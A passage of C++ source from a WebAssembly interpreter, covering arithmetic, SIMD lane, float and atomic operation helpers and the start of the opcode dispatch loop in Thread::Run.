uint8_t** pc) { typedef typename ExtendMemType<ResultType, MemType>::type ExtendedType; MemType replace = PopRep<ResultType>(); MemType expect = PopRep<ResultType>(); void* addr; CHECK_TRAP(GetAtomicAccessAddress<MemType>(pc, &addr)); MemType read; LoadFromMemory<MemType>(&read, addr); if (read == expect) { StoreToMemory<MemType>(addr, replace); } return Push<ResultType>(static_cast<ExtendedType>(read)); } template <typename R, typename T> Result Thread::Unop(UnopFunc<R, T> func) { auto value = PopRep<T>(); return PushRep<R>(func(value)); } // {i8, i16, 132, i64}{16, 8, 4, 2}.(neg) template <typename T, typename L, typename R, typename P> Result Thread::SimdUnop(UnopFunc<R, P> func) { auto value = PopRep<T>(); // Calculate how many Lanes according to input lane data type. constexpr int32_t lanes = sizeof(T) / sizeof(L); // Define SIMD data array for Simd add by Lanes. L simd_data_ret[lanes]; L simd_data_0[lanes]; // Convert intput SIMD data to array. memcpy(simd_data_0, &value, sizeof(T)); // Constuct the Simd value by Lane data and Lane nums. for (int32_t i = 0; i < lanes; i++) { simd_data_ret[i] = static_cast<L>(func(simd_data_0[i])); } return PushRep<T>(Bitcast<T>(simd_data_ret)); } template <typename R, typename T> Result Thread::UnopTrap(UnopTrapFunc<R, T> func) { auto value = PopRep<T>(); ValueTypeRep<R> result_value; CHECK_TRAP(func(value, &result_value)); return PushRep<R>(result_value); } template <typename R, typename T> Result Thread::Binop(BinopFunc<R, T> func) { auto rhs_rep = PopRep<T>(); auto lhs_rep = PopRep<T>(); return PushRep<R>(func(lhs_rep, rhs_rep)); } // {i8, i16, 132, i64}{16, 8, 4, 2}.(add/sub/mul) template <typename T, typename L, typename R, typename P> Result Thread::SimdBinop(BinopFunc<R, P> func) { auto rhs_rep = PopRep<T>(); auto lhs_rep = PopRep<T>(); // Calculate how many Lanes according to input lane data type. constexpr int32_t lanes = sizeof(T) / sizeof(L); // Define SIMD data array for Simd add by Lanes. L simd_data_ret[lanes]; L simd_data_0[lanes]; L simd_data_1[lanes]; // Convert intput SIMD data to array. memcpy(simd_data_0, &lhs_rep, sizeof(T)); memcpy(simd_data_1, &rhs_rep, sizeof(T)); // Constuct the Simd value by Lane data and Lane nums. for (int32_t i = 0; i < lanes; i++) { simd_data_ret[i] = static_cast<L>(func(simd_data_0[i], simd_data_1[i])); } return PushRep<T>(Bitcast<T>(simd_data_ret)); } template <typename R, typename T> Result Thread::BinopTrap(BinopTrapFunc<R, T> func) { auto rhs_rep = PopRep<T>(); auto lhs_rep = PopRep<T>(); ValueTypeRep<R> result_value; CHECK_TRAP(func(lhs_rep, rhs_rep, &result_value)); return PushRep<R>(result_value); } // {i,f}{32,64}.add template <typename T> ValueTypeRep<T> Add(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { return ToRep(FromRep<T>(lhs_rep) + FromRep<T>(rhs_rep)); } template <typename T, typename R> ValueTypeRep<T> AddSaturate(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { T max = std::numeric_limits<R>::max(); T min = std::numeric_limits<R>::min(); T result = static_cast<T>(lhs_rep) + static_cast<T>(rhs_rep); if (result < min) { return ToRep(min); } else if (result > max) { return ToRep(max); } else { return ToRep(result); } } template <typename T, typename R> ValueTypeRep<T> SubSaturate(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { T max = std::numeric_limits<R>::max(); T min = std::numeric_limits<R>::min(); T result = static_cast<T>(lhs_rep) - static_cast<T>(rhs_rep); if (result < min) { return ToRep(min); } else if (result > max) { return ToRep(max); } else { return ToRep(result); } } template <typename T, typename L> int32_t SimdIsLaneTrue(ValueTypeRep<T> value, int32_t true_cond) { int true_count = 0; // Calculate how many Lanes according to input lane data type. constexpr int32_t lanes = sizeof(T) / sizeof(L); // Define SIMD data array for Simd Lanes. L simd_data_0[lanes]; // Convert intput SIMD data to array. memcpy(simd_data_0, &value, sizeof(T)); // Constuct the Simd value by Lane data and Lane nums. for (int32_t i = 0; i < lanes; i++) { if (simd_data_0[i] != 0) true_count++; } return (true_count >= true_cond) ? 1 : 0; } // {i,f}{32,64}.sub template <typename T> ValueTypeRep<T> Sub(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { return ToRep(FromRep<T>(lhs_rep) - FromRep<T>(rhs_rep)); } // {i,f}{32,64}.mul template <typename T> ValueTypeRep<T> Mul(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { return ToRep(FromRep<T>(lhs_rep) * FromRep<T>(rhs_rep)); } // i{32,64}.{div,rem}_s are special-cased because they trap when dividing the // max signed value by -1. The modulo operation on x86 uses the same // instruction to generate the quotient and the remainder. template <typename T> bool IsNormalDivRemS(T lhs, T rhs) { static_assert(std::is_signed<T>::value, "T should be a signed type."); return !(lhs == std::numeric_limits<T>::min() && rhs == -1); } // i{32,64}.div_s template <typename T> Result IntDivS(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep, ValueTypeRep<T>* out_result) { auto lhs = FromRep<T>(lhs_rep); auto rhs = FromRep<T>(rhs_rep); TRAP_IF(rhs == 0, IntegerDivideByZero); TRAP_UNLESS(IsNormalDivRemS(lhs, rhs), IntegerOverflow); *out_result = ToRep(lhs / rhs); return Result::Ok; } // i{32,64}.rem_s template <typename T> Result IntRemS(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep, ValueTypeRep<T>* out_result) { auto lhs = FromRep<T>(lhs_rep); auto rhs = FromRep<T>(rhs_rep); TRAP_IF(rhs == 0, IntegerDivideByZero); if (WABT_LIKELY(IsNormalDivRemS(lhs, rhs))) { *out_result = ToRep(lhs % rhs); } else { *out_result = 0; } return Result::Ok; } // i{32,64}.div_u template <typename T> Result IntDivU(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep, ValueTypeRep<T>* out_result) { auto lhs = FromRep<T>(lhs_rep); auto rhs = FromRep<T>(rhs_rep); TRAP_IF(rhs == 0, IntegerDivideByZero); *out_result = ToRep(lhs / rhs); return Result::Ok; } // i{32,64}.rem_u template <typename T> Result IntRemU(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep, ValueTypeRep<T>* out_result) { auto lhs = FromRep<T>(lhs_rep); auto rhs = FromRep<T>(rhs_rep); TRAP_IF(rhs == 0, IntegerDivideByZero); *out_result = ToRep(lhs % rhs); return Result::Ok; } // f{32,64}.div template <typename T> ValueTypeRep<T> FloatDiv(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { typedef FloatTraits<T> Traits; ValueTypeRep<T> result; if (WABT_UNLIKELY(Traits::IsZero(rhs_rep))) { if (Traits::IsNan(lhs_rep)) { result = lhs_rep | Traits::kQuietNan; } else if (Traits::IsZero(lhs_rep)) { result = Traits::kQuietNan; } else { auto sign = (lhs_rep & Traits::kSignMask) ^ (rhs_rep & Traits::kSignMask); result = sign | Traits::kInf; } } else { result = ToRep(FromRep<T>(lhs_rep) / FromRep<T>(rhs_rep)); } return result; } // i{32,64}.and template <typename T> ValueTypeRep<T> IntAnd(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { return ToRep(FromRep<T>(lhs_rep) & FromRep<T>(rhs_rep)); } // i{32,64}.or template <typename T> ValueTypeRep<T> IntOr(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { return ToRep(FromRep<T>(lhs_rep) | FromRep<T>(rhs_rep)); } // i{32,64}.xor template <typename T> ValueTypeRep<T> IntXor(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { return ToRep(FromRep<T>(lhs_rep) ^ FromRep<T>(rhs_rep)); } // i{32,64}.shl template <typename T> ValueTypeRep<T> IntShl(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { const int mask = sizeof(T) * 8 - 1; return ToRep(FromRep<T>(lhs_rep) << (FromRep<T>(rhs_rep) & mask)); } // i{32,64}.shr_{s,u} template <typename T> ValueTypeRep<T> IntShr(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { const int mask = sizeof(T) * 8 - 1; return ToRep(FromRep<T>(lhs_rep) >> (FromRep<T>(rhs_rep) & mask)); } // i{32,64}.rotl template <typename T> ValueTypeRep<T> IntRotl(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { const int mask = sizeof(T) * 8 - 1; int amount = FromRep<T>(rhs_rep) & mask; auto lhs = FromRep<T>(lhs_rep); if (amount == 0) { return ToRep(lhs); } else { return ToRep((lhs << amount) | (lhs >> (mask + 1 - amount))); } } // i{32,64}.rotr template <typename T> ValueTypeRep<T> IntRotr(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { const int mask = sizeof(T) * 8 - 1; int amount = FromRep<T>(rhs_rep) & mask; auto lhs = FromRep<T>(lhs_rep); if (amount == 0) { return ToRep(lhs); } else { return ToRep((lhs >> amount) | (lhs << (mask + 1 - amount))); } } // i{32,64}.eqz template <typename R, typename T> ValueTypeRep<R> IntEqz(ValueTypeRep<T> v_rep) { return ToRep(v_rep == 0); } template <typename T> ValueTypeRep<T> IntNeg(ValueTypeRep<T> v_rep) { T tmp = static_cast<T>(v_rep); return ToRep(-tmp); } template <typename T> ValueTypeRep<T> IntNot(ValueTypeRep<T> v_rep) { T tmp = static_cast<T>(v_rep); return ToRep(~tmp); } // f{32,64}.abs template <typename T> ValueTypeRep<T> FloatAbs(ValueTypeRep<T> v_rep) { return v_rep & ~FloatTraits<T>::kSignMask; } // f{32,64}.neg template <typename T> ValueTypeRep<T> FloatNeg(ValueTypeRep<T> v_rep) { return v_rep ^ FloatTraits<T>::kSignMask; } // f{32,64}.ceil template <typename T> ValueTypeRep<T> FloatCeil(ValueTypeRep<T> v_rep) { auto result = ToRep(std::ceil(FromRep<T>(v_rep))); if (WABT_UNLIKELY(FloatTraits<T>::IsNan(result))) { result |= FloatTraits<T>::kQuietNanBit; } return result; } // f{32,64}.floor template <typename T> ValueTypeRep<T> FloatFloor(ValueTypeRep<T> v_rep) { auto result = ToRep(std::floor(FromRep<T>(v_rep))); if (WABT_UNLIKELY(FloatTraits<T>::IsNan(result))) { result |= FloatTraits<T>::kQuietNanBit; } return result; } // f{32,64}.trunc template <typename T> ValueTypeRep<T> FloatTrunc(ValueTypeRep<T> v_rep) { auto result = ToRep(std::trunc(FromRep<T>(v_rep))); if (WABT_UNLIKELY(FloatTraits<T>::IsNan(result))) { result |= FloatTraits<T>::kQuietNanBit; } return result; } // f{32,64}.nearest template <typename T> ValueTypeRep<T> FloatNearest(ValueTypeRep<T> v_rep) { auto result = ToRep(std::nearbyint(FromRep<T>(v_rep))); if (WABT_UNLIKELY(FloatTraits<T>::IsNan(result))) { result |= FloatTraits<T>::kQuietNanBit; } return result; } // f{32,64}.sqrt template <typename T> ValueTypeRep<T> FloatSqrt(ValueTypeRep<T> v_rep) { auto result = ToRep(std::sqrt(FromRep<T>(v_rep))); if (WABT_UNLIKELY(FloatTraits<T>::IsNan(result))) { result |= FloatTraits<T>::kQuietNanBit; } return result; } // f{32,64}.min template <typename T> ValueTypeRep<T> FloatMin(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { typedef FloatTraits<T> Traits; if (WABT_UNLIKELY(Traits::IsNan(lhs_rep))) { return lhs_rep | Traits::kQuietNanBit; } else if (WABT_UNLIKELY(Traits::IsNan(rhs_rep))) { return rhs_rep | Traits::kQuietNanBit; } else if (WABT_UNLIKELY(Traits::IsZero(lhs_rep) && Traits::IsZero(rhs_rep))) { // min(0.0, -0.0) == -0.0, but std::min won't produce the correct result. // We can instead compare using the unsigned integer representation, but // just max instead (since the sign bit makes the value larger). return std::max(lhs_rep, rhs_rep); } else { return ToRep(std::min(FromRep<T>(lhs_rep), FromRep<T>(rhs_rep))); } } // f{32,64}.max template <typename T> ValueTypeRep<T> FloatMax(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { typedef FloatTraits<T> Traits; if (WABT_UNLIKELY(Traits::IsNan(lhs_rep))) { return lhs_rep | Traits::kQuietNanBit; } else if (WABT_UNLIKELY(Traits::IsNan(rhs_rep))) { return rhs_rep | Traits::kQuietNanBit; } else if (WABT_UNLIKELY(Traits::IsZero(lhs_rep) && Traits::IsZero(rhs_rep))) { // min(0.0, -0.0) == -0.0, but std::min won't produce the correct result. // We can instead compare using the unsigned integer representation, but // just max instead (since the sign bit makes the value larger). return std::min(lhs_rep, rhs_rep); } else { return ToRep(std::max(FromRep<T>(lhs_rep), FromRep<T>(rhs_rep))); } } // f{32,64}.copysign template <typename T> ValueTypeRep<T> FloatCopySign(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { typedef FloatTraits<T> Traits; return (lhs_rep & ~Traits::kSignMask) | (rhs_rep & Traits::kSignMask); } // {i,f}{32,64}.eq template <typename T> uint32_t Eq(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { return ToRep(FromRep<T>(lhs_rep) == FromRep<T>(rhs_rep)); } // {i,f}{32,64}.ne template <typename T> uint32_t Ne(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { return ToRep(FromRep<T>(lhs_rep) != FromRep<T>(rhs_rep)); } // f{32,64}.lt | i{32,64}.lt_{s,u} template <typename T> uint32_t Lt(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { return ToRep(FromRep<T>(lhs_rep) < FromRep<T>(rhs_rep)); } // f{32,64}.le | i{32,64}.le_{s,u} template <typename T> uint32_t Le(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { return ToRep(FromRep<T>(lhs_rep) <= FromRep<T>(rhs_rep)); } // f{32,64}.gt | i{32,64}.gt_{s,u} template <typename T> uint32_t Gt(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { return ToRep(FromRep<T>(lhs_rep) > FromRep<T>(rhs_rep)); } // f{32,64}.ge | i{32,64}.ge_{s,u} template <typename T> uint32_t Ge(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { return ToRep(FromRep<T>(lhs_rep) >= FromRep<T>(rhs_rep)); } // f32x4.convert_{s,u}/i32x4 and f64x2.convert_s/i64x2. template <typename R, typename T> ValueTypeRep<R> SimdConvert(ValueTypeRep<T> v_rep) { return ToRep(static_cast<R>(static_cast<T>(v_rep))); } // f64x2.convert_u/i64x2 use this instance due to MSVC issue. template <> ValueTypeRep<double> SimdConvert<double, uint64_t>( ValueTypeRep<uint64_t> v_rep) { return ToRep(wabt_convert_uint64_to_double(v_rep)); } // i{32,64}.trunc_{s,u}/f{32,64} template <typename R, typename T> Result IntTrunc(ValueTypeRep<T> v_rep, ValueTypeRep<R>* out_result) { TRAP_IF(FloatTraits<T>::IsNan(v_rep), InvalidConversionToInteger); TRAP_UNLESS((IsConversionInRange<R, T>(v_rep)), IntegerOverflow); *out_result = ToRep(static_cast<R>(FromRep<T>(v_rep))); return Result::Ok; } // i{32,64}.trunc_{s,u}:sat/f{32,64} template <typename R, typename T> ValueTypeRep<R> IntTruncSat(ValueTypeRep<T> v_rep) { typedef FloatTraits<T> Traits; if (WABT_UNLIKELY(Traits::IsNan(v_rep))) { return 0; } else if (WABT_UNLIKELY((!IsConversionInRange<R, T>(v_rep)))) { if (v_rep & Traits::kSignMask) { return ToRep(std::numeric_limits<R>::min()); } else { return ToRep(std::numeric_limits<R>::max()); } } else { return ToRep(static_cast<R>(FromRep<T>(v_rep))); } } // i{32,64}.extend{8,16,32}_s template <typename T, typename E> ValueTypeRep<T> IntExtendS(ValueTypeRep<T> v_rep) { // To avoid undefined/implementation-defined behavior, convert from unsigned // type (T), to an unsigned value of the smaller size (EU), then bitcast from // unsigned to signed, then cast from the smaller signed type to the larger // signed type (TS) to sign extend. ToRep then will bitcast back from signed // to unsigned. static_assert(std::is_unsigned<ValueTypeRep<T>>::value, "T must be unsigned"); static_assert(std::is_signed<E>::value, "E must be signed"); typedef typename std::make_unsigned<E>::type EU; typedef typename std::make_signed<T>::type TS; return ToRep(static_cast<TS>(Bitcast<E>(static_cast<EU>(v_rep)))); } // i{32,64}.atomic.rmw(8,16,32}_u.xchg template <typename T> ValueTypeRep<T> Xchg(ValueTypeRep<T> lhs_rep, ValueTypeRep<T> rhs_rep) { return rhs_rep; } // i(8,16,32,64) f(32,64) X (2,4,8,16) splat ==> v128 template <typename T, typename V> ValueTypeRep<T> SimdSplat(V lane_data) { // Calculate how many Lanes according to input lane data type. int32_t lanes = sizeof(T) / sizeof(V); // Define SIMD data array by Lanes. V simd_data[sizeof(T) / sizeof(V)]; // Constuct the Simd value by Land data and Lane nums. for (int32_t i = 0; i < lanes; i++) { simd_data[i] = lane_data; } return ToRep(Bitcast<T>(simd_data)); } // Simd instructions of Lane extract. // value: input v128 value. // typename T: lane data type. template <typename R, typename V, typename T> ValueTypeRep<R> SimdExtractLane(V value, uint32_t laneidx) { // Calculate how many Lanes according to input lane data type. constexpr int32_t lanes = sizeof(V) / sizeof(T); // Define SIMD data array for Simd add by Lanes. T simd_data_0[lanes]; // Convert intput SIMD data to array. memcpy(simd_data_0, &value, sizeof(V)); return ToRep(static_cast<R>(simd_data_0[laneidx])); } // Simd instructions of Lane replace. // value: input v128 value. lane_val: input lane data. // typename T: lane data type. template <typename R, typename V, typename T> ValueTypeRep<R> SimdReplaceLane(V value, uint32_t lane_idx, T lane_val) { // Calculate how many Lanes according to input lane data type. constexpr int32_t lanes = sizeof(V) / sizeof(T); // Define SIMD data array for Simd add by Lanes. T simd_data_0[lanes]; // Convert intput SIMD data to array. memcpy(simd_data_0, &value, sizeof(V)); // Replace the indicated lane. simd_data_0[lane_idx] = lane_val; return ToRep(Bitcast<R>(simd_data_0)); } bool Environment::FuncSignaturesAreEqual(Index sig_index_0, Index sig_index_1) const { if (sig_index_0 == sig_index_1) { return true; } const FuncSignature* sig_0 = &sigs_[sig_index_0]; const FuncSignature* sig_1 = &sigs_[sig_index_1]; return sig_0->param_types == sig_1->param_types && sig_0->result_types == sig_1->result_types; } Result Thread::CallHost(HostFunc* func) { FuncSignature* sig = &env_->sigs_[func->sig_index]; size_t num_params = sig->param_types.size(); size_t num_results = sig->result_types.size(); TypedValues params(num_params); TypedValues results(num_results); for (size_t i = num_params; i > 0; --i) { params[i - 1].value = Pop(); params[i - 1].type = sig->param_types[i - 1]; } for (size_t i = 0; i < num_results; ++i) { results[i].type = sig->result_types[i]; results[i].SetZero(); } Result call_result = func->callback(func, sig, params, results); TRAP_IF(call_result != Result::Ok, HostTrapped); TRAP_IF(results.size() != num_results, HostResultTypeMismatch); for (size_t i = 0; i < num_results; ++i) { TRAP_IF(results[i].type != sig->result_types[i], HostResultTypeMismatch); CHECK_TRAP(Push(results[i].value)); } return Result::Ok; } Result Thread::Run(int num_instructions) { Result result = Result::Ok; const uint8_t* istream = GetIstream(); const uint8_t* pc = &istream[pc_]; for (int i = 0; i < num_instructions; ++i) { Opcode opcode = ReadOpcode(&pc); assert(!opcode.IsInvalid()); switch (opcode) { case Opcode::Select: { uint32_t cond = Pop<uint32_t>(); Value false_ = Pop(); Value true_ = Pop(); CHECK_TRAP(Push(cond ? true_ : false_)); break; } case Opcode::Br: GOTO(ReadU32(&pc)); break; case Opcode::BrIf: { IstreamOffset new_pc = ReadU32(&pc); if (Pop<uint32_t>()) { GOTO(new_pc); } break; } case Opcode::BrTable: { Index num_targets = ReadU32(&pc); IstreamOffset table_offset = ReadU32(&pc); uint32_t key = Pop<uint32_t>(); IstreamOffset key_offset = (key >= num_targets ? num_targets : key) * WABT_TABLE_ENTRY_SIZE; const uint8_t* entry = istream + table_offset + key_offset; IstreamOffset new_pc; uint32_t drop_count; uint32_t keep_count; ReadTableEntryAt(entry, &new_pc, &drop_count, &keep_count); DropKeep(drop_count, keep_count); GOTO(new_pc); break; } case Opcode::Return: if (call_stack_top_ == 0) { result = Result::Returned; goto exit_loop; } GOTO(PopCall()); break; case Opcode::Unreachable: TRAP(Unreachable); break; case Opcode::I32Const: CHECK_TRAP(Push<uint32_t>(ReadU32(&pc))); break; case Opcode::I64Const: CHECK_TRAP(Push<uint64_t>(ReadU64(&pc))); break; case Opcode::F32Const: CHECK_TRAP(PushRep<float>(ReadU32(&pc))); break; case Opcode::F64Const: CHECK_TRAP(PushRep<double>(ReadU64(&pc))); break; case Opcode::GlobalGet: { Index index = ReadU32(&pc); assert(index < env_->globals_.size()); CHECK_TRAP(Push(env_->globals_[index].typed_value.value)); break; } case Opcode::GlobalSet: { Index index = ReadU32(&pc); assert(index < env_->globals_.size()); env_->globals_[index].typed_value.value = Pop(); break; } case Opcode::LocalGet: { Value value = Pick(ReadU32(&pc)); CHECK_TRAP(Push(value)); break; } case Opcode::LocalSet: { Value value = Pop(); Pick(ReadU32(&pc)) = value; break; } case Opcode::LocalTee: Pick(ReadU32(&pc)) = Top(); break; case Opcode::Call: { IstreamOffset offset = ReadU32(&pc); CHECK_TRAP(PushCall(pc)); GOTO(offset); break; } case Opcode::CallIndirect: { Index table_index = ReadU32(&pc); Table* table = &env_->tables_[table_index]; Index sig_index = ReadU32(&pc); Index entry_index = Pop<uint32_t>(); TRAP_IF(entry_index >= table->func_indexes.size(), UndefinedTableIndex); Index func_index = table->func_indexes[entry_index]; TRAP_IF(func_index == kInvalidIndex, UninitializedTableElement); Func* func = env_->funcs_[func_index].get(); TRAP_UNLESS(env_->FuncSignaturesAreEqual(func->sig_index, sig_index), IndirectCallSignatureMismatch); if (func->is_host) { CHECK_TRAP(CallHost(cast<HostFunc>(func))); } else { CHECK_TRAP(PushCall(pc)); GOTO(cast<DefinedFunc>(func)->offset); } break; } case Opcode::InterpCallHost: { Index func_index = ReadU32(&pc); CHECK_TRAP(CallHost(cast<HostFunc>(env_->funcs_[func_index].get()))); break; } case Opcode::ReturnCall: { IstreamOffset offset = ReadU32(&pc); GOTO(offset); break; } case Opcode::ReturnCallIndirect:{ Index table_index = ReadU32(&pc); Table* table = &env_->tables_[table_index]; Index sig_index = ReadU32(&pc); Index entry_index = Pop<uint32_t>(); TRAP_IF(entry_index >= table->func_indexes.size(), UndefinedTableIndex); Index func_index = table->func_indexes[entry_index]; TRAP_IF(func_index == kInvalidIndex, UninitializedTableElement); Func* func = env_->funcs_[func_index].get(); TRAP_UNLESS(env_->FuncSignaturesAreEqual(func->sig_index, sig_index), IndirectCallSignatureMismatch); if (func->is_host) { // Emulate a call/return for imported functions CHECK_TRAP(CallHost(cast<HostFunc>(func))); if (call_stack_top_ == 0) { result = Result::Returned; goto exit_loop; } GOTO(PopCall()); } else { GOTO(cast<DefinedFunc>(func)->offset); } break; } case Opcode::I32Load8S: CHECK_TRAP(Load<int8_t, uint32_t>(&pc)); break; case Opcode::I32Load8U: CHECK_TRAP(Load<uint8_t, uint32_t>(&pc)); break; case Opcode::I32Load16S: CHECK_TRAP(Load<int16_t, uint32_t>(&pc)); break; case Opcode::I32Load16U: CHECK_TRAP(Load<uint16_t, uint32_t>(&pc)); break; case Opcode::I64Load8S: CHECK_TRAP(Load<int8_t, uint64_t>(&pc)); break; case Opcode::I64Load8U: CHECK_TRAP(Load<uint8_t, uint64_t>(&pc)); break; case Opcode::I64Load16S: CHECK_TRAP(Load<int16_t, uint64_t>(&pc)); break; case Opcode::I64Load16U: CHECK_TRAP(Load<uint16_t, uint64_t>(&pc)); break; case Opcode::I64Load32S: CHECK_TRAP(Load<int32_t, uint64_t>(&pc)); break; case Opcode::I64Load32U: CHECK_TRAP(Load<uint32_t, uint64_t>(&pc)); break; case Opcode::I32Load: CHECK_TRAP(Load<uint32_t>(&pc)); break; case Opcode::I64Load: CHECK_TRAP(Load<uint64_t>(&pc)); break; case Opcode::F32Load: CHECK_TRAP(Load<float>(&pc)); break; case Opcode::F64Load: CHECK_TRAP(Load<double>(&pc)); break; case Opcode::I32Store8: CHECK_TRAP(Store<uint8_t, uint32_t>(&pc)); break; case Opcode::I32Store16: CHECK_TRAP(Store<uint16_t, uint32_t>(&pc)); break; case Opcode::I64Store8: CHECK_TRAP(Store<uint8_t, uint64_t>(&pc)); break; case Opcode::I64Store16: CHECK_TRAP(Store<uint16_t, uint64_t>(&pc)); break; case Opcode::I64Store32: CHECK_TRAP(Store<uint32_t, uint64_t>(&pc)); break; case Opcode::I32Store: CHECK_TRAP(Store<uint32_t>(&pc)); break; case Opcode::I64Store: CHECK_TRAP(Store<uint64_t>(&pc)); break; case Opcode::F32Store: CHECK_TRAP(Store<float>(&pc)); break; case Opcode::F64Store: CHECK_TRAP(Store<double>(&pc)); break; case Opcode::I32AtomicLoad8U: CHECK_TRAP(AtomicLoad<uint8_t, uint32_t>(&pc)); break; case Opcode::I32AtomicLoad16U: CHECK_TRAP(AtomicLoad<uint16_t, uint32_t>(&pc)); break; case Opcode::I64AtomicLoad8U: CHECK_TRAP(AtomicLoad<uint8_t, uint64_t>(&pc)); break; case Opcode::I64AtomicLoad16U: CHECK_TRAP(AtomicLoad<uint16_t, uint64_t>(&pc)); break; case Opcode::I64AtomicLoad32U: CHECK_TRAP(AtomicLoad<uint32_t, uint64_t>(&pc)); break; case Opcode::I32AtomicLoad: CHECK_TRAP(AtomicLoad<uint32_t>(&pc)); break; case Opcode::I64AtomicLoad: CHECK_TRAP(AtomicLoad<uint64_t>(&pc)); break; case Opcode::I32AtomicStore8: CHECK_TRAP(AtomicStore<uint8_t, uint32_t>(&pc)); break; case Opcode::I32AtomicStore16: CHECK_TRAP(AtomicStore<uint16_t, uint32_t>(&pc)); break; case Opcode::I64AtomicStore8: CHECK_TRAP(AtomicStore<uint8_t, uint64_t>(&pc)); break; case Opcode::I64AtomicStore16: CHECK_TRAP(AtomicStore<uint16_t, uint64_t>(&pc)); break; case Opcode::I64AtomicStore32: CHECK_TRAP(AtomicStore<uint32_t, uint64_t>(&pc)); break; case Opcode::I32AtomicStore: CHECK_TRAP(AtomicStore<uint32_t>(&pc)); break; case Opcode::I64AtomicStore: CHECK_TRAP(AtomicStore<uint64_t>(&pc)); break; #define ATOMIC_RMW(rmwop, func) \ case Opcode::I32AtomicRmw##rmwop: \ CHECK_TRAP(AtomicRmw<uint32_t, uint32_t>(func<uint32_t>, &pc)); \ break; \ case Opcode::I64AtomicRmw##rmwop: \ CHECK_TRAP(AtomicRmw<uint64_t, uint64_t>(func<uint64_t>, &pc)); \ break; \ case Opcode::I32AtomicRmw8##rmwop##U: \ CHECK_TRAP(AtomicRmw<uint8_t, uint32_t>(func<uint32_t>, &pc)); \ break; \ case Opcode::I32AtomicRmw16##rmwop##U: \ CHECK_TRAP(AtomicRmw<uint16_t, uint32_t>(func<uint32_t>, &pc)); \ break; \ case Opcode::I64AtomicRmw8##rmwop##U: \ CHECK_TRAP(AtomicRmw<uint8_t, uint64_t>(func<uint64_t>, &pc)); \ break; \ case Opcode::I64AtomicRmw16##rmwop##U: \ CHECK_TRAP(AtomicRmw<uint16_t, uint64_t>(func<uint64_t>, &pc)); \ break; \ case Opcode::I64AtomicRmw32##rmwop##U: \ CHECK_TRAP(AtomicRmw<uint32_t, uint64_t>(func<uint64_t>, &pc)); \ break /* no semicolon */ ATOMIC_RMW(Add, Add); ATOMIC_RMW(Sub, Sub); ATOMIC_RMW(And, IntAnd); ATOMIC_RMW(Or, IntOr); ATOMIC_RMW(Xor, IntXor); ATOMIC_RMW(Xchg, Xchg); #undef ATOMIC_RMW case Opcode::I32AtomicRmwCmpxchg: CHECK_TRAP(AtomicRmwCmpxchg<uint32_t, uint32_t>(&pc)); break; case Opcode::I64AtomicRmwCmpxchg: CHECK_TRAP(AtomicRmwCmpxchg<uint64_t, uint64_t>(&pc)); break; case Opcode::I32AtomicRmw8CmpxchgU: CHECK_TRAP(AtomicRmwCmpxchg<uint8_t, uint32_t>(&pc)); break; case Opcode::I32AtomicRmw16CmpxchgU: CHECK_TRAP(AtomicRmwCmpxchg<uint16_t, uint32_t>(&pc)); break; case Opcode::I64AtomicRmw8CmpxchgU: CHECK_TRAP(AtomicRmwCmpxchg<uint8_t, uint64_t>(&pc)); break; case Opcode::I64AtomicRmw16CmpxchgU: CHECK_TRAP(AtomicRmwCmpxchg<uint16_t, uint64_t>(&pc)); break; case Opcode::I64AtomicRmw32CmpxchgU: CHECK_TRAP(AtomicRmwCmpxchg<uint32_t, uint64_t>(&pc)); break; case Opcode::MemorySize: CHECK_TRAP(Push<uint32_t>(ReadMemory(&pc)->page_limits.initial)); break; case Opcode::MemoryGrow: { Memory* memory = ReadMemory(&pc); uint32_t old_page_size = memory->page_limits.initial; uint32_t grow_pages = Pop<uint32_t>(); uint32_t new_page_size = old_page_size + grow_pages; uint32_t max_page_size = memory->page_limits.has_max ? memory->page_limits.max : WABT_MAX_PAGES; PUSH_NEG_1_AND_BREAK_IF(new_page_size > max_page_size); PUSH_NEG_1_AND_BREAK_IF( static_cast<uint64_t>(new_page_size) * WABT_PAGE_SIZE > UINT32_MAX); memory->data.resize(new_page_size * WABT_PAGE_SIZE); memory->page_limits.initial = new_page_size; CHECK_TRAP(Push<uint32_t>(old_page_size)); break; } case Opcode::I32Add: CHECK_TRAP(Binop(Add<uint32_t>)); break; case Opcode::I32Sub: CHECK_TRAP(Binop(Sub<uint32_t>)); break; case Opcode::I32Mul: CHECK_TRAP(Binop(Mul<uint32_t>)); break; case Opcode::I32DivS: CHECK_TRAP(BinopTrap(IntDivS<int32_t>)); break; case Opcode::I32DivU: CHECK_TRAP(BinopTrap(IntDivU<uint32_t>)); break; case Opcode::I32RemS: CHECK_TRAP(BinopTrap(IntRemS<int32_t>)); break; case Opcode::I32RemU: CHECK_TRAP(BinopTrap(IntRemU<uint32_t>)); break; case Opcode::I32And: CHECK_TRAP(Binop(IntAnd<uint32_t>)); break; case 